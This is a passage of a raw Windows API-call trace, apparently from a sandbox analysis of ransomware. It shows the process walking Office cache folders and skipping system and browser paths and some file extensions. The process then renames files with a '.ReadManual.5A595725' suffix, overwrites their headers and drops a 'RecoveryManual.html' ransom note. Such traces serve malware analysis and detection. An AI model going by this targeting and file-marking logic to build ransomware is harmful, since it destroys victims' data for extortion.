returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.ReadManual.5A595725" [0181.555] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.ReadManual.5A595725") returned 101 [0181.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30222339182) returned 1 [0181.555] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0181.555] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0181.555] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=3186) returned 1 [0181.555] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc72, lpName=0x0) returned 0x194 [0181.555] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0181.556] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.556] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0181.559] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0181.559] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc72) returned 0x2f0000 [0181.559] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0181.559] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30222778060) returned 1 [0181.559] CloseHandle (hObject=0x194) returned 1 [0181.559] SetSecurityInfo () returned 0x57 [0181.559] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0181.559] CloseHandle (hObject=0x190) returned 1 [0181.560] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0181.560] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0181.560] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0181.560] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0181.560] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0181.560] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0181.561] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0181.561] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0181.561] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" [0181.561] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0181.561] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0181.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30222949178) returned 1 [0181.561] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0181.562] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0181.562] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=4207) returned 1 [0181.562] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x106f, lpName=0x0) returned 0x194 [0181.562] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0181.562] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.562] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0181.564] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0181.564] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x106f) returned 0x2f0000 [0181.564] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0181.565] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30223337743) returned 1 [0181.565] CloseHandle (hObject=0x194) returned 1 [0181.565] SetSecurityInfo () returned 0x57 [0181.565] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0181.565] CloseHandle (hObject=0x190) returned 1 [0181.565] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0181.565] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0181.565] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0181.565] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C") returned="{90140000-001B-0409-1000-0000000FF1CE}-C" [0181.565] lstrcatW (in: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0181.565] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0181.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0181.566] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned 67 [0181.566] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0181.567] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0181.567] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.567] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0181.567] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0181.567] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0181.567] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0181.567] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0181.567] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0181.568] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0181.568] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0181.568] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0181.568] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" [0181.568] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0181.568] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0181.568] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30223647743) returned 1 [0181.568] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0181.568] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0181.568] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=2424) returned 1 [0181.568] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x978, lpName=0x0) returned 0x194 [0181.568] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0181.570] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.570] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0181.575] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0181.575] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x978) returned 0x2f0000 [0181.575] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0181.575] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30224369464) returned 1 [0181.575] CloseHandle (hObject=0x194) returned 1 [0181.575] SetSecurityInfo () returned 0x57 [0181.575] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0181.575] CloseHandle (hObject=0x190) returned 1 [0181.576] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0181.576] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0181.576] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0181.576] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0181.577] CloseHandle (hObject=0x190) returned 1 [0181.577] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0181.577] lstrcpyW (in: lpString1=0x6ab922, lpString2="WordLR.cab" | out: lpString1="WordLR.cab") returned="WordLR.cab" [0181.577] lstrcmpiW (lpString1="WordLR.cab", lpString2="RecoveryManual.html") returned 1 [0181.577] StrStrIW (lpFirst="WordLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0181.577] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0181.577] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0181.577] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0181.577] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0181.578] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0181.578] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0181.578] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" [0181.578] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.ReadManual.5A595725" [0181.578] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.ReadManual.5A595725") returned 97 [0181.578] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30224667539) returned 1 [0181.578] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0181.578] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0181.578] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=43806141) returned 1 [0181.578] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29c6dbd, lpName=0x0) returned 0x194 [0181.578] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0181.579] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.579] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0181.581] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0181.581] MapViewOfFile 